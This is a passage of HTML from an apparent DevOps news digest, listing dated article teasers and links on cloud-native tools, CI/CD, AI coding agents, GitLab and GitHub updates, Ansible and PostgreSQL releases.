          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster" class="group relative scroll-mt-24">
        <a href="#h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A Virtual Agent team at Docker: How the Coding Agent Sandboxes team uses a fleet of agents to ship faster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I work on Coding Agent Sandboxes, aka “sbx” at Docker. The project provides secure, microVM-based isolation for running AI coding agents like Claude Code, Gemini, Codex, Docker Agent and Kiro. Agents </p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data" class="group relative scroll-mt-24">
        <a href="#h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The state of AI in CNCF projects: A first look at the data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At CNCF TAG Developer Experience, we recently set out to understand how Artificial Intelligence is shaping open-source development. The response from the community has been impressive in its scale, wi</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/29/the-state-of-ai-in-cncf-projects-a-first-look-at-the-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-2-adapt" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-2-adapt" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 2: Adapt
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-2-adapt"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, I will show you how to create a template for monitoring your Docker server with only API calls (without the Zabbix agent 2). Instead of creating a template, templated items, LLD rul</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-2-adapt/32912/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-japanese-community-survey" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-japanese-community-survey" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Japanese Community Survey
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-japanese-community-survey"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This report presents findings from the OpenTelemetry Japanese Community Survey, conducted to understand the current landscape of OTel awareness, adoption, and community engagement among developers and</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/japanese-survey/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-securing-github-actions-ci-dependencies-recipe-card" class="group relative scroll-mt-24">
        <a href="#h3-securing-github-actions-ci-dependencies-recipe-card" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing GitHub Actions CI dependencies: Recipe card
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-github-actions-ci-dependencies-recipe-card"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recipe GitHub Actions CI dependencies Target audience (the chef) Project maintainers and developers who need practical, concrete steps to efficiently secure CI dependencies within their GitHub Actions</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/04/securing-github-actions-ci-dependencies-recipe-card/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor’s New SDK Turns AI Coding Agents Into Deployable Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cursor&#39;s TypeScript SDK lets teams invoke AI coding agents programmatically from CI/CD pipelines, with sandboxed VMs, MCP support, and token-based pricing.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-70-features-for-faster-safer-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-70-features-for-faster-safer-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 70+ Features for Faster, Safer Software Delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-70-features-for-faster-safer-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness released over 70 new features in April 2026, focused on solving challenges in AI-generated code and software delivery. Key updates include AI-generated incident post-mortems, deeper CI/CD inte</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/shipped-in-april-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-q-developer-end-of-support-announcement" class="group relative scroll-mt-24">
        <a href="#h3-amazon-q-developer-end-of-support-announcement" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Q Developer end-of-support announcement
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-q-developer-end-of-support-announcement"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When we launched Amazon Q Developer, our goal was to bring AI assistance directly into the developer workflow. Customers adopted Q Developer across VS Code, JetBrains, Eclipse, and Visual Studio, usin</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/amazon-q-developer-end-of-support-announcement/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn the difference between CLI interactive v. non-interactive modes. The post GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/github-copilot-cli-for-beginners-interactive-v-non-interactive-mode/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo" class="group relative scroll-mt-24">
        <a href="#h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Build an automated detection testing framework with GitLab CI/CD and Duo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When it comes to managing a healthy alerting system for your security operations center (SOC), tuning false positives is only half the battle. An often overlooked aspect of a healthy alerting system i</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automated-detection-testing-framework/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-launches-cursor-plugin-for-ai-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-harness-launches-cursor-plugin-for-ai-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness Launches Cursor Plugin for AI Software Delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-launches-cursor-plugin-for-ai-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The new Harness Cursor Plugin brings AI-native software delivery directly into Cursor, letting developers trigger pipelines, manage deployments, debug failures, and enforce governance using natural la</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/from-pr-to-production-without-leaving-your-cursor-ide"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-writes-the-code-who-delivers-it-safely" class="group relative scroll-mt-24">
        <a href="#h3-ai-writes-the-code-who-delivers-it-safely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI writes the code. Who delivers it safely?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-writes-the-code-who-delivers-it-safely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Enterprise AI in 2026 is defined by the harness around the model. For software delivery, that means governed execution, live context, policy enforcement, and verifiable actions. The model provides int</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/ai-writes-the-code-who-delivers-it-safely"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-teaching-software-development-the-easy-way-using-gitlab" class="group relative scroll-mt-24">
        <a href="#h3-teaching-software-development-the-easy-way-using-gitlab" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Teaching software development the easy way using GitLab
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teaching-software-development-the-easy-way-using-gitlab"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For instructors teaching software development, one of the biggest logistical challenges is assignment distribution and feedback at scale. How do you give large groups of students access to course mate</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/teaching-software-development-the-easy-way-using-gitlab/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-18112-18105" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-18112-18105" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 18.11.2, 18.10.5
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-18112-18105"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about this release for GitLab Community Edition and Enterprise Edition.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-18-11-2-released/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-for-beginners-getting-started-with-markdown" class="group relative scroll-mt-24">
        <a href="#h3-github-for-beginners-getting-started-with-markdown" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub for Beginners: Getting started with Markdown
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-for-beginners-getting-started-with-markdown"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how to format and edit your comments and posts using Markdown. The post GitHub for Beginners: Getting started with Markdown appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/developer-skills/github/github-for-beginners-getting-started-with-markdown/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-an-update-on-github-availability" class="group relative scroll-mt-24">
        <a href="#h3-an-update-on-github-availability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 An update on GitHub availability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-an-update-on-github-availability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Here’s what we’ve done—and what we’re still doing—to improve our availability and reliability. The post An update on GitHub availability appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/an-update-on-github-availability/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs" class="group relative scroll-mt-24">
        <a href="#h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The definitive automation guide to Red Hat Summit 2026: Must-attend Red Hat Ansible Automation Platform sessions, talks, and labs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-definitive-automation-guide-to-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every organization faces the same pressures: do more with less, move faster, and reduce risk while preparing for an AI-powered future. In this environment, automation is no longer optional—it’s the fo</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/definitive-automation-guide-red-hat-summit-2026-must-attend-red-hat-ansible-automation-platform-sessions-talks-and-labs"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pgagroal-21" class="group relative scroll-mt-24">
        <a href="#h3-pgagroal-21" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgagroal 2.1
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgagroal-21"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgagroal community is happy to announce version 2.1.0. New features New vault security (migration needed) Health check Improve failover support Prometheus web console and a lot of enhancements and</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgagroal-21-3286/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgexporter-08" class="group relative scroll-mt-24">
